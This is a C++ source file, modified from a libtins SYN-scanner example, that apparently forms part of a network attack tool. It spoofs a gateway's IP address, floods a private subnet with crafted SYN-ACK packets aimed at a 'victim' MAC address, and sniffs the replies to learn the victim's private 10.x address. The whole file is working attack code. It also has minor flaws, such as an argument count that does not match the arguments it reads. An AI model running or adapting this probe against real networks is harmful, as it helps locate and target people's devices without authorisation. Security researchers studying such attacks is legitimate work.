|
|
/*
* Modified from http://libtins.github.io/examples/syn-scanner/
* * INCLUDED COPYRIGHT * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */
#include <iostream>
#include <iomanip>
#include <vector>
#include <set>
#include <string>
#include <cstdlib>
#include <pthread.h>
#include <unistd.h>
#include <tins/tins.h>
#include <tins/ip.h>
#include <tins/tcp.h>
#include <tins/ip_address.h>
#include <tins/ethernetII.h>
#include <tins/network_interface.h>
#include <tins/sniffer.h>
#include <tins/utils.h>
#include <tins/packet_sender.h>
using std::cout; using std::endl; using std::vector; using std::pair; using std::setw; using std::string; using std::set; using std::runtime_error;
using namespace Tins;
typedef pair<Sniffer*, string> sniffer_data;
std::string vip; std::string gwip;
bool verbose = false;
class Scanner { public: Scanner(NetworkInterface& interface, std::string dest_mac, std::string source_mac, std::string gateway_ip, std::string private_ip, std::string private_ip_subnet_mask, int sport, int dport);
void run(); private: void send_synacks(); bool callback(PDU& pdu); static void* thread_proc(void* param); void launch_sniffer(); NetworkInterface iface; std::string dst_mac; std::string src_mac; std::string src_ip; std::string victim_ip; std::string victim_subnet; int sport; int dport; Sniffer sniffer; };
Scanner::Scanner(NetworkInterface& interface, std::string dest_mac, std::string source_mac, std::string gateway_ip, std::string private_ip, std::string private_ip_subnet_mask, int src_port, int dst_port) : iface(interface), dst_mac(dest_mac), src_mac(source_mac), src_ip(gateway_ip), victim_ip(private_ip), victim_subnet(private_ip_subnet_mask), sport(src_port), dport(dst_port),sniffer(interface.name()) {
}
void* Scanner::thread_proc(void* param) { Scanner* data = (Scanner*)param; data->launch_sniffer(); return 0; }
void Scanner::launch_sniffer() { sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback)); }
/* Our scan handler. This will receive SYN-ACKS and inform us
* the scanned port's status. */ bool Scanner::callback(PDU& pdu) { // Find the layers we want.
const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
const TCP &tcp = pdu.rfind_pdu<TCP>(); // Grab TCP layer
static int total_seen = 0; if (ip.src_addr().to_string().rfind("10.", 0) == 0 && tcp.sport() != 22) { if (verbose) std::cout << "Victim IP is:"; std::cout << ip.src_addr() << "\n"; vip = ip.src_addr(); total_seen += 1; if (total_seen > 0) { return false;
} } return true; }
void Scanner::run() { pthread_t thread; // Launch our sniff thread.
pthread_create(&thread, 0, &Scanner::thread_proc, this); // Start sending SYNs to port.
send_synacks();
// Wait for our sniffer.
void* dummy; pthread_join(thread, &dummy); }
// Send syn acks to the given ip address, using the destination ports provided.
void Scanner::send_synacks() { // Retrieve the addresses.
PacketSender sender; IPv4Range ip_range = IPv4Range::from_mask(victim_ip, victim_subnet);
for (const IPv4Address &addr : ip_range) { EthernetII pkt = EthernetII(dst_mac, src_mac) / IP(addr, src_ip) / TCP(dport, sport); TCP& tcp = pkt.rfind_pdu<TCP>(); tcp.set_flag(TCP::ACK, 1); tcp.set_flag(TCP::SYN, 1); if (verbose) std::cout << "Sending to IP:" << addr << std::endl; sender.send(pkt, iface); sender.send(pkt, iface); usleep(10); }
}
void scan(int argc, char* argv[]) { std::string dst_mac = argv[1]; // victim MAC address
std::string src_mac = ""; // src mac does not matter
std::string private_ip_subnet = argv[2]; std::string private_ip_subnet_mask = argv[3]; gwip = argv[4]; // IP of server that client is talking to
int sport = 80; // source, dest port for phase-1 are arbitrary
int dport = 80;
IPv4Address ip(gwip); // Resolve the interface which will be our gateway
NetworkInterface iface(ip); if (verbose) cout << "Sniffing on interface: " << iface.name() << endl; // Consume arguments
Scanner scanner(iface, dst_mac, src_mac, gwip, private_ip_subnet, private_ip_subnet_mask, sport, dport); scanner.run(); }
int main(int argc, char* argv[]) { if (argc != 6) { std::cout << "usage: ./send <DST_MAC> <PRIVATE IP SUBNET> <PRIVATE IP SUBNET MASK> <SOUCE IP> <IFACE>\n"; exit(-1); } try { scan(argc, argv); } catch(runtime_error& ex) { cout << "Error - " << ex.what() << endl; } }
|